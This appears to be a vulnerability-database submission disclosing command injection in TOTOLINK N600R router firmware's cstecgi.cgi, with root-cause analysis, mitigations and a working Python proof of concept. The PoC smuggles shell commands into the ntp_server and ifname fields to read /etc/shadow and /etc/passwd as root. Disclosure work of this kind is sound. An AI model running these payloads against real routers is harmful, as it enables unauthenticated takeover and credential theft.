| Title | Totolink N600R Wireless N Router V4.3.0cu.7647_B20210106 Command Injection |
|---|
| Description | A command injection vulnerability exists in two small utility functions within the `cstecgi.cgi` binary of TOTOLINK N600R Wireless N Router firmware V4.3.0cu.7647_B20210106. The functions `getCurrentTime()` (228 bytes) and `getWirelessChannel()` (224 bytes) both use `popen()` to execute system commands — `getCurrentTime()` calls `date`/`ntpdate` to retrieve the current time from an NTP server, while `getWirelessChannel()` calls `iwconfig` to query WiFi channel information. Both functions accept user-controllable parameters (NTP server address and WiFi query parameters, respectively) from HTTP input via `websGetVar()` and pass them unsanitized into the command string executed by `popen()`. Crucially, because `popen()` pipes the command output back to the caller, the attacker receives the command output in the HTTP response, enabling **direct data exfiltration** alongside code execution.
---
## Technical Details
### Root Cause
```
HTTP POST → cstecgi.cgi → getCurrentTime()/getWirelessChannel() → websGetVar("param") → popen(crafted_cmd) → attacker receives output
```
Both functions are extremely compact (under 230 bytes each), representing near-minimal injection chains:
1. **getCurrentTime (0x429520, 228B):** Constructs a command string using user-supplied NTP server address and executes it via `popen()`. The function is intended to run `date` or `ntpdate -q <server>`.
2. **getWirelessChannel (0x427200, 224B):** Constructs a command string using user-supplied WiFi interface/query parameters and executes it via `popen()`. The function is intended to run `iwconfig <interface>`.
The `popen()` call goes through the MIPS GOT indirection:
```
GOT popen@0x43fd08: lw $t9, -0x7fe8($gp); jalr $t9
```
### GOT Indirect Call Analysis — Confirmed popen() Callers
```
0x429520 getCurrentTime (228B): popen, strcpy
GP=0x447CF0, GOT base=0x43fd00
0x427200 getWirelessChannel (224B): popen, sprintf
GP=0x447CF0, GOT base=0x43fd00
```
### Why popen() is Particularly Dangerous
Unlike `system()` which only returns an exit code, `popen()` opens a **bidirectional pipe** to the executed command. The function reads the command's stdout and returns it to the caller via a `FILE*` stream. In the context of a CGI binary, this means the injected command's output is written back into the HTTP response body, giving the attacker immediate visibility into command execution results — a built-in exfiltration channel.
---
## Proof of Concept
```python
#!/usr/bin/env python3
"""PoC: TOTOLINK N600R cstecgi.cgi popen() Command Injection | CWE-77 | CVSS 9.8"""
import requests
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
# Exploit 1: Inject via NTP server parameter in getCurrentTime()
# The output of 'id' and 'cat /etc/shadow' is returned in the HTTP response body
r = requests.post(f"http://{TARGET}/cgi-bin/cstecgi.cgi",
data={
"topicurl": "getCurrentTime",
"ntp_server": "; id; cat /etc/shadow; #"
},
timeout=5)
print(f"Response: {r.text}") # injected command output visible in response
# Exploit 2: Inject via WiFi channel query parameter
r = requests.post(f"http://{TARGET}/cgi-bin/cstecgi.cgi",
data={
"topicurl": "getWirelessChannel",
"ifname": "ra0; cat /etc/passwd; #"
},
timeout=5)
print(f"Response: {r.text}") # /etc/passwd contents in response
```
### Expected Result
The injected commands (`id`, `cat /etc/shadow`, `cat /etc/passwd`) execute with root privileges, and their output is returned directly in the HTTP response. No out-of-band exfiltration channel is needed — the vulnerability provides immediate command output feedback via the `popen()` pipe.
---
## Impact
Successful exploitation allows an unauthenticated remote attacker to:
- Execute arbitrary system commands with **root privileges**
- **Receive command output directly** in the HTTP response body (via `popen()` pipe)
- Exfiltrate sensitive data without needing a reverse shell or out-of-band channel:
- `/etc/shadow` (password hashes)
- `/etc/passwd` (user accounts)
- WiFi credentials (PSK, SSID)
- VPN and PPPoE credentials
- Device configuration
- Install persistent backdoors or malware
- Pivot to internal network hosts
The `popen()`-based attack is particularly stealthy because it mimics legitimate NTP time synchronization and WiFi scanning operations, blending into normal device behavior.
---
## Solution / Mitigation
### Vendor Recommendations
1. Replace `popen()` with safe, non-shell APIs for executing system utilities:
- For `date`/`ntpdate`: use native time APIs or `fork()`/`exec()` with argument arrays
- For `iwconfig`: use netlink sockets or `ioctl()` calls instead of shelling out
2. Validate and sanitize all user-supplied parameters:
- NTP server address: validate as a valid hostname or IPv4/IPv6 address using `inet_pton()` / DNS resolution
- WiFi interface name: validate against a known list of device interfaces (e.g., `ra0`, `rai0`)
3. Use a strict allowlist for all CGI parameter values
4. Enable compile-time hardening: `-D_FORTIFY_SOURCE=2`, `-fstack-protector-strong`
### User Mitigations (until patch is available)
- Restrict access to the web management interface via firewall rules
- Disable WAN-side administration
- Monitor HTTP traffic for unusual POST parameters to `cstecgi.cgi` |
|---|
| Source | ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TOTOLINK_N600R_cstecgi_Time_WiFi_Service_popen_Command_Injection.md |
|---|
| User | ST4R0002 (UID 99571) |
|---|
| Submission | 07/06/2026 14:43 (2 months ago) |
|---|
| Moderation | 08/25/2026 16:57 (2 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 395062 [TOTOLINK N600R 4.3.0cu.7647_B20210106 /cgi-bin/cstecgi.cgi getCurrentTime ntp_server command injection] |
|---|
| Points | 20 |
|---|